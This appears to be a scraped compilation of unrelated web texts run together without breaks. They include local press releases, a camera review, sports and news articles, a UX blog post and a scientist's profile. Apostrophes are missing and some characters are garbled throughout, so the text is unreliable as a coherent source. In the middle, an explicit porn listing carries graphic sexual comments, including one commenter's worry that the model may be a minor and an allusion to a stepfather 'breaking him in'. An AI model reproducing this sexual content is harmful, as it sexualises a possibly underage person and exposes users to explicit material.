WILTON MANORS, Fla., Feb. 24, 2014 /PRNewswire/ -- With great waterways comes great responsibility.
Volunteers are needed on March 1 at 9 a.m. at the Colohatchee Park Boat Ramp in Wilton Manors to venture out by boat and by foot and collect tires, plastic bags, shopping carts, water bottles, gas cans and any other trash or debris they find – all part of the 37th Annual Marine Industries Association of South Florida Waterway Cleanup.
Last year 2,000 volunteers and 70 boats from around Broward County, including Wilton Manors, removed 18.6 tons of garbage from rivers and canals.
"Known as the Island City, we need to pay particular attention to the health and beauty of South Florida's waterways. I'd like to encourage everyone to take some time on March 1, 2014 and do their part to keep Wilton Manors' waterways looking their best," said Mayor Gary Resnick.
The Waterway Cleanup is open to all members of the public, regardless of age and boat ownership. Those who don't own a boat can still help out by picking up trash and debris found on the banks of South Florida's waterways. High school students and those who need volunteer hours can get credit for their efforts during the event.
To register for the Colohatchee Park event, visit www.miasf.org/event/colohatchee. Adult supervision is required for participants 15 years old and younger. Those who register early for the event will get a special Waterway Cleanup shirt.
High school and middle school students also have the chance to win scholarship money by entering the essay and short story contests. The high school winner will receive a $500 scholarship and the middle school winner gets $250. The deadline to enter is February 21.
Visit www.waterwaycleanup.org/essay-and-short-story-contest for contest details.
After the Waterway Cleanup, a party for volunteers will be held at the Dania Beach Pier, 300 N. Beach Road, Dania Beach. There will be food, drinks, door prizes and live entertainment provided by "The New Revolution."
The City of Wilton Manors was founded in 1925 by Edward John "Ned" Willingham, a land developer from Georgia. Today, the City of Wilton Manors offers all the benefits of a big city from shopping, to hip restaurants and bars, a burgeoning arts community and tons of community events, yet still maintains a cozy, community-feeling offering miles of natural waterways perfect for kayaking, paddle boarding and other outdoor activities. Recently named the "Second Gayest City" in the United States, the City of Wilton Manors boasts a diverse population of approximately 12,000 residents.

Glades Grow at Magic
Geoff Hatheway, email@example.com
Londonderry, VT
This past weekend Magic Mountain Ski Area held the first of three "Volunteer Days", with mountain management set to organize two more on October 6th and October 20th. As one of the last independent major ski area's in the state of Vermont, Magic counts on its skier and snowboarder community to help continually build the future of the over 50-year old ski area. And, Volunteer Days do just that with over forty enthusiasts showing up Saturday to work Magic's network of glades which have come to epitomize the unique adventure Magic offers skiers and riders of all ages.
"Everything we do here has one simple goal in mind," said Jim Sullivan, President of Magic Mountain. "It is to make Magic the ideal haven for those who love the sport of skiing and snowboarding and the camaraderie that comes from its shared experience. Working on trails together gives people a shared off-season Magic experience all the while helping their mountain expand its off-piste terrain."
With a day beginning at 9:00 to catch a trip up the hill on the Red Chair, the volunteer crew split up into groups to tackle glades on both the West Side and East Side of the mountain. Some glades are on the official trail map, such as the recently added "Disappearing Act" and "The Wardrobe", while others may be known by some, but are left off the map for every one's own discovery. Existing glades were trimmed and cleaned up, and completely new lines were created in other areas.
"Our dedicated volunteers help give returning Magic skiers new terrain to explore every year," added Geoff Hatheway, VP of Marketing at Magic. "And, every year the ranks of volunteers continue to grow. We can't thank them enough."
Two videos from 9/22 capture some of the passion and mystery surrounding Volunteer Day (Volunteer Interview and Glade Work). Pictures and blogsalso capture the day as Magic preps for the new season.
About Magic Mountain Ski Area
Magic is southern Vermont's only independently owned and operated mountain. Different than the corporate resorts, Magic has stayed true to the original Vermont ski culture. Magic skiers enjoy a mountain emphasizing natural, diverse ski terrain in an atmosphere of shared camaraderie for the sport both on the slopes and in the lodge after a long, rewarding day. Magic has an authentic vibe because, in reality, it still remains first and foremost a ski area, not a "resort"—and a distinctly Vermont one at that. It's a community spirit that keeps Magic thriving for those committed ski and riding enthusiasts who want to "carve their own trail" and experience real snow and obstacles that mother-nature puts on the hill. And, it's why Magic skiers love the mountain so much that they personally invested in the ski area via The Magic Partnership in order to enhance and preserve it for future generations to enjoy.

The colossal Temple of Apollo harboured philosophical maxims such as: "Know yourself..."

"Suspended in the air" is the best way to describe these monasteries perched at the summit of these celestial mountains, a unique natural phenomenon.
At the western tip of the plain of Thessalia, you suddenly enter an incredible world of mineral chaos. A majestic landscape of 24 rocky peaks like fingers pointing skyward, the Meteora** monasteries defy time.

Panasonic FS15 review
Review Date : Mon, 5 Apr 2010
Author : Paul Nuttall
The Panasonic FS15 is one of the smaller compact in the FS series, but does it still pack the punch of its larger siblings? The Panasonic FS15 review finds out...
|Good image quality, affordable price
|Body lacks a quality finish, 2.7in LCD could be better
The Panasonic FS15 is best viewed as the smaller, in both specification and size, model in the current FS line-up, and is also a few pounds cheaper. The model sports a 12.1MP sensor and 5x optical zoom - 29-145mm - while also featuring a 2.7in LCD screen and range of shooting modes. Amongst these shooting modes is Panasonic's renowned Intelligent Auto, claiming to take care of the capture process for you.
Aside of a few millimetres on the cameras various dimensions, and some 30g shed from the models weight, the dimensions of the Panasonic FS15 are much the same as the FS25. The camera also sports the same eye-catching brushed steel finish as the FS25, making it both attractive and comfortable in the hand.
The Panasonic FS15 is pleasing in use and benefits from an intuitive menu configuration. Image quality is generally reliable, while exposure and white balance are also dependable. The only criticism would be that the drop in weight makes the FS15 seem even more plasticky.

Home Office: Limit Using Facebook During Work
A new article was published today on Computerworld in the Knowledge Base area of the website. Check it out.
Title: Study: Facebook use cuts productivity at work
Survey finds 77% of Facebookers use the social networking site while on the job
By: Sharon Gaudin
The productivity loss overall in a company where employees use Facebook on the job for no business reason is 1.5%. This may not seem like much, but if your margin is 2%, this could mean the difference between closing and staying in business.
A previous study showed students who use Facebook at college get lower grades than students who don't use it.
Why is this important to home businesses?
If you are cruising around on Facebook for non-business purposes during your work hours at home and thinking you are accomplishing anything, you may not be. When it is just you or you and an employee or two, you've got to make the most of your work so you can make the most of your profits.
The most important things you can do while working in your home office or at your home-based business are tasks specific to increasing your bottom line. If what you are doing is not directly putting more cash on your bottom line, you must start doing those tasks first and foremost every day.
Checking email, reading articles in your RSS feed reader, cruising social networking sites for pleasure (not doing research), and performing any task that doesn't either make money or lead to making money must wait until after the important tasks are done.
You may need to scan your email for important work messages. You may need to scan your RSS reader for articles specific to your business. You may need to reply to a comment on Facebook from a business colleague. But those tasks need to be strictly limited to business and a tight leash needs to be on so they don't sap your time. If you don't focus on performing work tasks that make money, you might as well go to the park or play with your kids. The quality of your time would be much better spent.
Every day, do what makes money first, then you will be free to peruse email and articles, and socialize on social networking sites with friends.
If you don't know how much time you're spending on each task you perform, get out the kitchen timer and set it for one hour. In that one hour spend your time doing only money-making work, whatever that is for your business. You will be surprised to find at first you are distracted frequently and it will take at least a few days to be able to focus for just one hour.
Another thing you can do is keep a diary for a few weeks on every activity you perform in your business, notes on what you accomplish, how you will profit from it, and what time you started and stopped each task. If you are busy all the time but don't seem to be accomplishing anything that is adding money to your bottom line, this technique will help you analyze where your precious time is going and what you need to change to improve.
If you spend a lot of time on the phone and need to block out time away from those interruptions, either turn off your phone ringer and let your voicemail catch messages, or send calls to an answering service. Then schedule time each day when you will return calls. You may need to tell people you will return their call within 24 hours, or leave a specific message that you are in a meeting from x-y and will return to your office at z. You don't have to leave your office to have a meeting with yourself, but those calling don't need to know that.
Get a handle on your business. Don't just work in it, work on it. A helpful book to read to improve your business and increase your productivity is The E-Myth Revisited by Michael E. Gerber:
Don't have time to read? Here is the book on CD that you can listen to in your car or load to your mp3 player and take with you:

Completely comfortable outdoors, this eager twink is ready to tear it all off and shakes things up. Kyle drops his pants and whips out his long rod in the back of a pick-up truck. Tug after tug, the harder he gets, he pulls out a creamy finish then licks it up like a good 'ol boy.
Latest Comments:
Adoreable soooo Hot & he ate his own cum so he knows hes cute ; probably looks like his mother ... Kyle is Awesome !!! I like the way he showed off his butt / hole ... means the step dad broke him in properly hehe oxo kyle love ya babe !!!
I wonder where Kyle is near on five years after his shoot?
Adorable studpuppy with sensual smooth body, beautiful cock and balls, sweet ass and sexy smile. WOOF!
After so many years he still takes my breath away
fuck i blew all over the screen
Very more than beautiful !
One of the most beautiful boys I've ever seen. I'am missing a closeup from his face.
Give us more photo's & video of Kyle, he is a perfect example of twinkdom at it's finest!
The worlds perfect fuck, top or bottom.
This is your hottest twink model.
Kyle is beautiful. I first came across this video a couple of years ago. And he still is my ultimate twink! I can just keep on watching him for hours!
Kyle is just amazingly cute in so many ways.
I would have loved to clean him up after he blew his cum and then filled his lovely hole up with my trobbing cock and repeat the dose everyday
Well, yes, Kyle is moderately handsome, can't believe he is really 20 already; the stills do show him flacid as well as erect and a good cum shot FOR STILLS. BUT, the video is poor in NOT showing a clear view of his jacking up much less his cumming---send Orlando folks a remedial kit on how to film the crowning moment--we all want to see the man/kid CUM, spurt for us--how much (not much w/ Kyle) and how far. Rating him a 7 but the vid minus 3.
Fuck it. I'm moving to Fla. probably to the Zellwood area..... Sweeeet!
Kyle is beautiful. Great cock and would love to spend a weekend in his truck or mine. Nice loose balls waiting to be sucked. His smile and eyes say yes! Being cut shows his real personality and inosence!I'd give him a 15!
lovely boy i could suck his cock anytime
This guy is way hot. His flim clip is hot, too. Give me a weekend with this stud! WOW.
so beautiful
Would love to spank those pretty buns then kiss him better, nibbling on those sweet little tits, snogging those lips then rimming his butt. Horny young boy, spunk in my mouth anytime.
one word HOT number 10
He does not get only 10+ or 11+ but VERY best dear Kyle will get my 12+! And also for being cut which makes his penis even more beautiful as it is right now! So I'm very glad he's not uncut and all the better. The cumshot is taken so very exciting and exceptionally good!
Sexy Blond boy, what I would like to do to him on that truck
A crime - some collector got to that foreskin and cut it off for his display before badpuppy could record the foreskin covered prick for the ages. Still a msgnificent tool, but lacking its crowning splendor. A pretty boy with the greatest sex appeal. Wouldn't mind a week or two alone with Kyle. Sure would love to taste his cream after working his balls for an age to make sure there was a terrific flow of jism. Can almost feel the cum explosion in my mouth.
very young and sweet...
very sexy & beautiful
Exceptional!!!!!!!!!!!!!!! What is there not to adore about this stud; I love the time in which it took him to become naked, his reluctance to smile, his camera work and his cock. He's an 11 if ever there was one.
I'm in love!!!
super sexy but i m afraid he should be minor. I hope badpuppy check correctly the age of the models
Kyle is so cute, with an amazing tight body and beautiful cock. I joined badpuppy just to see this video, and I'm not disappointed! Definite 10!!!
The face of an angle. The dick of a stallion. Smooth tight body. What a little stud.
Kyle is so sweet . A natural . More please !
10+! Very cute! If he was uncut 11+! Love him =)
i am stone butt in love please ndo more video
Isn't he lovely

Can Superman save you?November 30th, 2011 | Posted by in user-experience
To update, or not to update – a story for the Save icon
I have heard discussions around the Save button that really hammer on how old school the floppy disk is and that no one uses them anymore. Well, duh. Yeah, no one does use a floppy disk, but does that mean we can just change this symbol? Change a standard?? Standardizing takes time, we culturally adopt or reject collectively and things that we gravitate towards standardize over time. So if we were to change the save icon, what would we change it to? A hard drive? A small box? Tupperware? Superman? Jesus???
My beef with this discussion is that where we store our documents continues to evolve. We started with the floppy disk, then CDs, followed by USB and external hard drives and now we're onto the cloud. Are we done yet? Can we say the locations we save to now are not going to change in 20 years? What will never change is the first thing we saved our documents on way back when.
I'm not in love with the floppy disk, but I know what it means and so do you. I don't want to throw something else out there that makes you think "I wonder what that does?", that is the opposite of my job. I eliminate questions in design, I don't create new ones.
If you have seen new software that implements the new take to the save icon, please share! I am eager to see what direction this will take.

Miami Marlins meet reality TV on The Franchise
By Glenn Garvin
When the scoreboard screen showed the rapper Lil Wayne sitting in the stands, Miami Marlins catcher John Buck sitting in the corner of his teams dugout between innings was moved to break into rhyme with a quick little rap of his own. Midway through it, to his horror, he saw the television crew in the camera well across the way laughing hysterically.
There I am, doing some cheesy little rap like a redneck from Utah, he recalls, and when I saw them laughing, I remembered, Oh, [bleep], Im wearing a microphone tonight. I looked at the crew and shook my head no, like, youre not gonna use that. And they shook their heads yes, like, Oh yes we will.
And just like that, another Marlin player had learned his lesson:
The Franchise
camera is always watching. Crews from Showtimes inside-the-locker-room series have been trailing the team since spring training, recording every belch, blink, joke, sneer and snort; every pat on the head and every cutting aside.
When relief pitcher Heath Bell, who signed with the Marlins as a free-agent this year, saw his children for the first time in weeks during a road trip to San Diego,
The Franchise
cameras were there. When manager Ozzie Guillens eyes filled with tears back in the clubhouse after a news conference announcing his suspension for singing the praises of Fidel Castro,
The Franchise
cameras were there.
And, more than once, when Marlins players in the locker room drop their towels after a shower,
The Franchise
cameras have been there. Youre talking to them, you get involved in the conversation, the towel slips, and its, oh,
there, Buck says. Were still learning to be more careful about that.
The Franchise
raised eyebrows among sports and viewers (it had an average audience of just under a million, a very big deal in our universe, says David Nevins, the premium-cable networks programming chief) when it debuted last year, following the defending world champion San Francisco Giants for a year. TV shows had gotten to peek inside the locker rooms of pro sports teams before, but never during the regular season.
The Franchise
s look at the Marlins which debuts on July 11 takes everything a giant step further, with cameras going into meetings among the teams executives, where the talk is all hardball (pun definitely intended.)
The shows cameras were in the room when Guillen, looking like he was about to vomit, was told by Marlins owner Jeffrey Loria and president David Samson that he was being suspended. Theyve been there when Loria and Samson scornfully dismissed a proposal from slumping third baseman Hanley Ramirezs agent for a contract extensions. (Im just amazed he thinks the time to do it is when hes hitting .220, Samson said, rolling his eyes.) And when Samson derided his own promotional efforts.
Mothers Day is the worst [bleepin] day to host a game, Samson complained.
At least we have nice bracelets for the mothers that come, Loria interjected. I may even pick one up.
Itll turn your wrist green, Samson warned him.
Weve become the fly on the wall, says
field producer Mary Gaynin. We watch and listen, and they just dont notice us. The other day, the crew was sitting near the door to Ozzie Guillens office when Heath Bell [who for several weeks had been pitching badly, blowing games] came walking toward it, hard and fast. Obviously something was going to happen. We just followed him inside the office, and when he shut the door, nobody told us to get out.
The crew wound up taping a raw exchange in which Bell said Guillen had broken his confidence by taking him out of games too quickly, that now every time he threw a bad pitch he was expecting to be sent to the showers, and that nobody can play that way. Guillen hotly denied it, then reassured Bell, Ive got your back.
We got the whole thing on tape, says Gaynin. Its not like they didnt know we were there each one of them sat down separately with us and we did interviews where they explained their thinking. Its just that everybody has gotten used to us being around...Thats the kind of thing, I think, viewers are really going to be fascinated by. Fans know this kind of conversation happens in baseball, but theyve never
it. (The drama was only enhanced by what happened next: In his next 10 pitching appearances, Bell didnt give up a single run.)
The Franchise
is not exactly journalism. Produced for Showtime by baseballs own studio, MLB Productions,
The Franchise
is unlikely to break news of a seriously scandalous nature like, say, steroid use.
But neither is it the contrived drama of TV reality shows, a term that makes everybody associated with
The Franchise
wince. You hear reality show, and people think of
Jersey Shore
The Kardashians
, says senior producer Gary Waksman. But this is not a reality show. These guys werent assembled here to be a cast in our show. Theyre baseball players whether were here or not.
Whatever you call it, though, the shows camera crews get an extraordinary level of access. That was the price Loria who desperately wanted a promotional platform for his retooled team and its new stadium was willing to pay to get
The Franchise
to follow the Marlins. His promise was put to the test when Guillens interview praising Castro was published in Time magazine this spring, triggering threats of a boycott by the Cuban exile community and plunging the club into crisis.
I did have a moment of doubt about whether the Marlins would stick to their promise when the Castro story broke, admits Showtimes Nevins. Im sure when Jeffrey made us the promise, he could never have imagined anything like that. But when I found out we had the footage of the meeting [where Guillen was suspended], I called both the Marlins and Major League Baseball to see if they were going to try to stop us from putting it on the air...But both parties, after a lot of consideration, said, lets do it. Not only was the tape cleared to air, but the Marlins agreed to a special preview episode built around it, which aired in April.
Loria says he never for a moment reconsidered the deal with
The Franchise
. Obviously I didnt know when I agreed that we would have the problem over Castro, he says. But I knew there would be
, because theres always something going on here. Its an open organization, and Ozzie is an honest guy. There are no secrets in baseball.
Its an interesting new situation in Miami. Weve got a brand-new ballpark and a new team of young players. Its an opportunity to show were an exciting club....I find it exhilarating. Either youre a risk-taker, or youre not, and I was.
His players turned out to be risk-takers, too. When major league pitcher Jim Bouton gave fans their first candid glimpse of pro sports locker rooms four decades ago with his book
Ball Four
, a diary of the 1968 season that revealed players were fond of girls, drinks, four-letter words and scatological tricks with birthday cakes, it sent baseball players into a collective rage. During the next season, players like Pete Rose would jeer at Bouton every time they got a hit: Put that in your [bleepin] book, Shakespeare! The baseball commissioner ordered Bouton to issue a statement saying the book was fiction (he refused) and the head of the Baseball Writers Association of America labeled him a social leper.
Buck, the Marlins representative to the players union, wasnt quite that negative. But he was deeply skeptical when he learned the team management wanted to bring
The Franchise
into the locker room.
Call me old school or whatever, but I didnt want cameras following me everywhere, Buck says. I called a couple of my friends on the Giants to ask what their experience with the show was: Whats this going to be about? Are they trying to get the smut on us? Because I really didnt know, I had never watched the show.
But his buddies in San Francisco, who said they liked the way the show humanized them, showing them as husbands and parents, not just ballplayers, had no complaints and, to Bucks surprise, neither did his teammates, who didnt see what he was worried about.
This is a younger team theyre all on Twitter, telling the whole world what theyre doing anyway, he says. Im sure if you had asked George Brett and those guys back in his day to tweet about what they did in a game, or what they were doing this weekend, they would have thought it was asinine. But the game is evolving, and so is the society we live in. Everything is not a huge secret anymore.
In any event,
The Franchise
is not quite the Orwellian experience it might sound like. Locker room wardrobe malfunctions are erased. Players wear microphones only if they want to, and signs are posted in the locker room identifying anybody whos wired for sound. (It turns out the microphones mostly pick up sound effects like the crack of a bat connecting with a ball, though
producers were surprised to discover that pitcher Carlos Zambrano talks to himself on the mound, murmuring words of self-encouragement like, Slower, slower.)
And players who think better of something theyve said on camera can go back later to ask that it be deleted. A few have done so, killing jokes they made about products they endorse, or expunging especially fabulous swear words. Others, not so much.
At the teams first meeting during spring training, a
camera caught Larry Beinfest, the Marlins head of baseball operations, introducing his new manager: Im going to turn things over to the man who can use and translate the word [bleep] in several languages, Ozzie Guillen. Afterward, Loria congratulated Guillen on his speech: Ninety-seven F-bombs! Thats the only way you can get their attention.

Carolina Panthers running back DeAngelo Williams has rushed for more than 50 yards in a game once since late September. And the Panthers all-time leading rusher is on pace for his fourth consecutive sub-1,000-yard season.
But Williams, who wasnt very subtle about his displeasure with not getting many touches a year ago, was all smiles Thursday when confronted with those figures.
Were we winning? Williams asked about last season with a laugh. That is the difference as long as were winning. And Ive always said that. But when were not winning, and were not doing some of the things that I feel like can help us win, then theres an issue.
Williams rushed twice for 4 yards against Dallas in Week 7 of the 2012 season, when he was benched in favor of Jonathan Stewart. The Panthers were 1-5, and Williams didnt do a good job of hiding his frustrations on Twitter and with the media.
His grievances with former offensive coordinator Rob Chudzinski, who left for the head coaching job in Cleveland this offseason, are well documented. But Williams said his frustrations a year ago were more about losing than a lack of touches.
With the Panthers (9-3) riding an eight-game winning streak and making a playoff push, Williams isnt complaining now.
Its not about the numbers with me, said Williams, whos listed as probable for Sundays game at New Orleans with a quadriceps injury. If I can get out there and chip block a guy, if I can pick up a blitz, if I can catch a ball downfield and put our team in a better situation on second and third down, I think people lose sight of that because of fantasy football and things of that nature.
Williams was off to the best start of his career through three games this season, running for 291 yards, but the Panthers were 1-2. Since then hes gained 319 yards on 88 carries in eight games, for an average of just less than 40 yards per game.
Ron Rivera has expressed some concern with the lack of production from his backs in recent weeks, but he points to teams adjusting to stop Carolinas rushing attack as one reason why numbers are down. Both Rivera and offensive coordinator Mike Shula have said they dont want quarterback Cam Newton to be the teams leading rusher like he was last year, but Newton has led the team on the ground each of the past three weeks, gaining a total of 181 yards.
We see a lot more eight-man fronts and man (coverage). We see a lot more people basically trying to work against our run, stop our run and force our quarterbacks hand, Rivera said. Its kind of worked in one phase of it that our quarterbacks thrown the ball well, hes made plays when hes had to. And I think because of that our regular running game isnt as efficient. I think it has an opportunity to turn around. Im not sure when; I know were going to continue to work it and try to do some things to help our guys.
Said Williams: Were playing the ultimate team game here. We just try to make the most of our opportunities, because we know if we dont, the next guy will.
Williams took advantage of a weak Saints defense in the 2012 season finale in the Superdome, rushing 21 times for a franchise-record 210 yards.
After that game, there were questions about whether Williams would stay with Carolina. He said he was never concerned about leaving Charlotte.
The reason it didnt bother me is because it wasnt, Is this your last year playing football? It was just a matter of where youre going to play football, Williams said. It never dawned on me that you feel bad or you should feel sorry. It wasnt a career threat or anything. I never thought about it.
Of Williams six best rushing games, three have come in New Orleans. He totaled 178 yards in the 2008 meeting and 149 yards in 2009. Add in a 175-yard performance during his sophomore year at Memphis against Tulane and Williams has four 100-plus-yard games in the Superdome.
But Williams cant necessarily put a finger in that season finale a year ago. But he wouldnt mind if he duplicated it this week.
We won and thats what it took to win that game, Williams said. We came out and we did it. Each game takes on its own form. Sometimes we need to throw the ball 50 times. Sometimes we need to run the ball 50 times.
Whatever it takes to get the job done is what I think Shula is doing a great job of doing. No disrespect to that other guy.

School board discusses construction, cuts
The construction of the Blaine school district�s new administration building and several program cuts were on the table during the school board�s meeting on Monday, August 25.
The district is preparing for the construction of the new administration building, which will be built on the corner of H Street and Mitchell Avenue. District architect John Stewart asked the board at the meeting to authorize advertising for bids on the project.
Stewart told board members that contract documents were ready and would be available to contractors September 2. Bids would be opened by September 18 with a May 1 occupation. Stewart anticipates the 5,000 square foot building will cost about $550,000.
In separate business, the board was greeted by a delegation of parents from Point Roberts who were upset with the board�s June decision to cut the turnout bus, which brings students home after sports and other afterschool activities. The budget cut was one of a number of programs eliminated or curtailed to make up for a million-dollar funding shortfall from the state.
Point Roberts parent Renee Coe chastised the board, saying parents should not have to learn about the cuts by reading about them in The Northern Light. �I am concerned that parents are out of the loop,� she said. Coe went on to say cutting the turnout bus posed special disadvantages to students and parents on the Point. She added parents would be required to drive for an hour and a half through two borders at dinner time five days a week.
Jim Hammer, another parent who works and lives on the Point, pointed out that the district currently uses two full-size buses and the turnout bus to take students to school in the morning and asked how the district expected to carry the same number of students with less capacity. �Why not just have the turnout bus go later as usual,� he asked.
District superintendent Dr. Mary Lynne Derrington told the board she would confer with district transportation supervisor Carl Wagelie to examine the issue. Board members Mike Dodd and Barrie Hull both said they had not thought the turnout bus cutback had applied to Point Roberts. �Point Roberts is an unique situation,� Dodd said.
Athletic director Gary Clausen advised the board that he had been involved in budget discussions with then�superintendent Dr. Gordon Dolman and they had no intentions to cut the Point Roberts bus.
A solution to another program due to be cut may be in sight, however. The board approved a resolution to create a co-operative tennis program with the Lynden school tennis program. The agreement has to be ratified by the Lynden school board but, if approved, would mean that the Blaine tennis team could be instructed by Lynden coaches and play with their team under Blaine colors. Clausen said he expected two or three players to take advantage of the program if approved.

Brad O'Farrell talks to Vice about the history of the Keyboard Cat meme. YouTube / Vice
Brad O'Farrell is kind of an important guy in some circles. He can be seen schmoozing with the likes of Tron Guy, Where the Hell is Matt, Scumbag Steve, and other "meme characters" at Internet conventions around the world. His claim to fame? He was the first guy to mash the keyboard playing cat together with a fail video and watch the hilarity ensue. It turns out he stumbled onto a recipe for virality.
Six years and 29 million views later, Vice recorded a history of the meme as told by the social media innovator, now working at the New York-based startup, Turntable.fm. As it happens though, some of the most valuable information about creating viral videos ended up on the proverbial cutting-room floor. So we reached out to the man who is also behind the Origin of Nyan Cat viral video and asked him for some advice.
"Things go viral in unexpected ways and you have to be prepared to compromise your original vision and go with what happens organically," he told Upstart Business Journal in an email. The 27-year-old said he never had a "vision" with a Keyboard Cat but that when something like that goes viral, you've got to embrace it even if it wasn't a part of your original plan.
"Scumbag Steve, for example [whose portrait has been captioned with some pretty horrible stuff], is the center of a meme that's making fun of [him]. He originally tried to fight against it, because who wants to be called a scumbag? But once he learned to embrace it it started working for him."
So, when Keyboard Cat started going viral O'Farrell said he contacted Charlie Schmidt, the guy who actually made the video, to sign over all the rights and dole out some advice.

Santosh K. Katiyar, Ph.D.
B.S. - Chemistry, Zoology and Botany, 1971
M.S. - Chemistry, Kanpur University, Kanpur, India, 1975
Ph. D. - Chemistry, Bundelkhand University, Jhansi, India, 1979
Fellowship - Post-doctoral Fellow, Biochemistry Department, Allahabad, University, Allahabad, India, 1979 - 1982
Dr. Katiyar has been working for the last 13 years on different aspects of cutaneous biology, such as immunology, photobiology, photocarcinogenesis and photoaging, as detailed below:
Causes, mechanism and preventive approaches of skin carcinogenesis
Dr. Katiyar's interest is to study and/or determine the causes, mechanisms and preventiom of chemical and solar ultraviolet (UV) radiation induced skin carcinogenesis (photocarcinogenesis). It is well documented that chronic exposure of solar UV radiation to human skin is primarily responsible for approximately 1.3 million new cases of squamous and basal cell carcinoma every year in the USA, thus making it the most prevalent environmental carcinogen known for humans. UV radiation is a potent producer of reactive oxygen species and can act as a tumor initiator, tumor promoter and complete carcinogen as well. Dr. Katiyar is trying to develop newer and effective chemopreventive agents, particularly dietary botanicals that can prevent the risk of UV carcinogenesis in humans. To develop newer and more effective chemopreventive agents, we use in vivo animal and human model systems and in vitro cell culture systems.
In particular, he is evaluating the chemopreventive efficacy of polyphenols isolated from green tea, milk thistle and grape seeds. Dr. Katiyar has shown that these polyphenols have anti-inflammatory and anti-oxidant properties. Because of these characteristics, polyphenols have been shown to inhibit, reverse or slow down the risk of UV-induced skin carcinogenesis. To determine the mechanism of action of these naturally occurring polyphemols or dietary botanicals, he is particularly emphasizing the anti-oxidant mechanism and modulation in immunoregulatory pathways responsible for inhibition of UV-induced adverse biological effects.
Causes, mechanism and preventive approaches of cutaneous photoaging
As in other organ systems, aging in the skin results in progressive dysfunction and diminution of the radiation reserve capacity under stress, rendering the skin more susceptible to injury and diseases. Clinical conditions associated with age-dependent dysfunction include increased ease of wounding, poor wound healing, skin cancer and infectious disease susceptibility, autoimmune reactivity to skin and drugs. The progressive susceptibility to these conditions with age is due to a combination of aging processes attributable to both chronologic (intrinsic) aging, and photoaging (extrinsic damage from the environment, mainly repeated solar light exposure). Clinically the photoaging component of skin aging accounts for the development in sun-exposed areas of wrinkling, mottled hyperpigmentation and depigmentation, coarsening of the skin, roughness, poor elastic recoil, and bruisability. These conditions adversely affect self-esteem and psychosocial well being. By contrast, intervention to reduce the stigmata of photoaging can result in improved quality of life and functionality in the elderly. Dr. Katiyar also considers that accelerated photoaging of the skin is also due to impaired oxidative defense system.
Keeping these factors under consideration, Dr. Katiyar is developing new and effective chemopreventive agents, particularly from dietary sources, which can inhibit the process of skin aging and photoaging. For this purpose, he is working on various polyphenols obtained from green tea and grape seeds and using in vitro and in vivo model systems. He determined that topical application of polyphenols from green tea on animal skin protects from UV-induced adverse biological effects associated with the photoaging of the skin.

Comments about Playboy Cat Adult Womens Costume:
This costume is super cute. i liked it as soon as i seen it online. only bad thing about it was that everything but the arms fit. im a small girl, but the porportion of the arm length is off. everything fits but the arms. i dont want to exchange for a bigger size because then arms will fit but nothing else will. Maybe in the future the designers can position the thumb hole further towards the hand and not so far up the arm. other than that it was well worth my money. Thanks Spirit!

ST. CROIX COUNTY, WI (WTAQ) - A judge in St. Croix County said no Thursday to having a far-away jury decide the fate of Aaron Schaffhausen.
He's the man charged with killing his three young daughters in River Falls last July.
Circuit Judge Howard Cameron disagreed with a public defender that the 35-year-old Schaffhausen could not get a fair trial in the county where the slayings took place, because of the heavy pre-trial publicity in the case.
Schaffhausen pleaded not guilty by insanity Wednesday to 3 charges of homicide, plus a count of attempted arson. His lawyer said he has not received medical records held by prosecutors – and he would file a request to get those.
Schaffhausen is accused of slashing his daughters to death at the home of his ex-wife in River Falls, and strangling one of them.
The judge was expected to rule later Thursday or Friday on a defense request to prevent a jury from hearing statements Schaffhausen made to authorities.

Well, that was quick. After two losses, the first rather exciting as losses go, the second rather putrid, manager Lou Piniella has shuffled the lineup.
Alfonso Soriano is back in the leadoff spot, after starting the season hitless in the second spot. He swaps places with Ryan Theriot.
(Somewhere message-board Moneyball Martin is preparing a 20-slide power-point presentation on why Soriano is even worse than Theriot in this spot. Not that anyone would disagree.)
There are numerous theories and/or explanations here. One, that Soriano was put in the second spot in anticipation of the long-rumored-but-never-happened Brian Roberts deal. Two, Piniella put Soriano back in the leadoff spot because the $136-million dollar baby is incapable of and/or unwilling to hit anywhere else, like, say, fifth. Three, that Ryan Theriot and his propensity to not reach base is not the answer in that spot, even though, have you, he had two hits yesterday after taking an 0-for-5 in the opener. And finally and least plausible without getting into a theological discussion despite the century's worth of circumstantial evidence, the Cubs could bat anyone anywhere and it won't make a lick of difference because God hates the Cubs.
Remain calm. All is well. Reclamation project Ryan Dempster takes the mound today. Dave Bush throws for the Brewers. Here's today's lineups. OMG, Ned Yost has used two lineups in three games, too!
First inning
Dempster starts Rickie Weeks off with a strike. Comes right back with a ball to even things out. Monday it was cloudy yet a little warm for the season. Yesterday it was sunny yet cold. Today's it's a little of both, cold and cloudy: mid-40s with a slight wind. Full count and Dempster just misses off the outside corner. Tony Gwynn dumps a double the other way down the left-field line and Prince Fielder comes up with two on and no outs. Fielder is still wearing those baggy pants but has the high socks going today and looks like the late Payne Stewart. Fielder hits a flyball to right. Kosuke Fukudome's throw is on target but late and takes a high hop off the grass. Weeks runs over Geovany Soto and takes him out and both runs score. The ball got away from Soto when Weeks ran him over. Ryan Braun grounds out to short. Hall strikes out swinging but the Brewers score two runs in the first.
Brewers 2, Cubs 0
Tremendous start for the Cubs. Soriano fouls off a few pitches from Bush to even the count at 2-2. Sorriano waves at ball in the dirt for strike three. Don't question Lou Piniella. Here's "the versatile Ryan Theriot," as Len calls him, which means he can fly out from either the leadoff or No. 2 spot, which he does -- to right. I'll try to get the updates as fast as they come. You know, wouldn't want to upset some donkey named Bill on the message board. Derrek Lee grounds out to short and the Cubs go down 1-2-3. in the first.
Brewers 2, Cubs 0
Second inning
Corey Hart bounces out to third on the first pitch. J.J. Hardy flies out to right. The pitcher Bush lines out to Lee and Dempster has a much easier time with the bottom of the Brewers' order.
